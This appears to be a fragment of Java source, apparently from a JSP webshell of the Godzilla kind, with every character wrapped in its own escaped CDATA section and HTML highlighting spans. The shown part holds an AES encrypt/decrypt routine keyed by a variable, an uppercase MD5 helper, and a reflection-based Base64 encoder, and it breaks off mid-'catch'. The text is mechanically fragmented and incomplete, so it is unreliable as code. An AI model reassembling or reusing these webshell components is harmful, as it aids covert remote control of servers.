]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[I]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[?]]&gt;&lt;![CDATA[<span class="number">1</span>]]&gt;&lt;![CDATA[:]]&gt;&lt;![CDATA[<span class="number">2</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[K]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[F]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[<span class="number">5</span>]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[D]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[D]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[I]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[D]]&gt;&lt;![CDATA[5]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[<span class="number">0</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[I]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="number">1</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="number">1</span>]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[U]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[N]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[6]]&gt;&lt;![CDATA[4]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[k]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[T]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[k]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[ 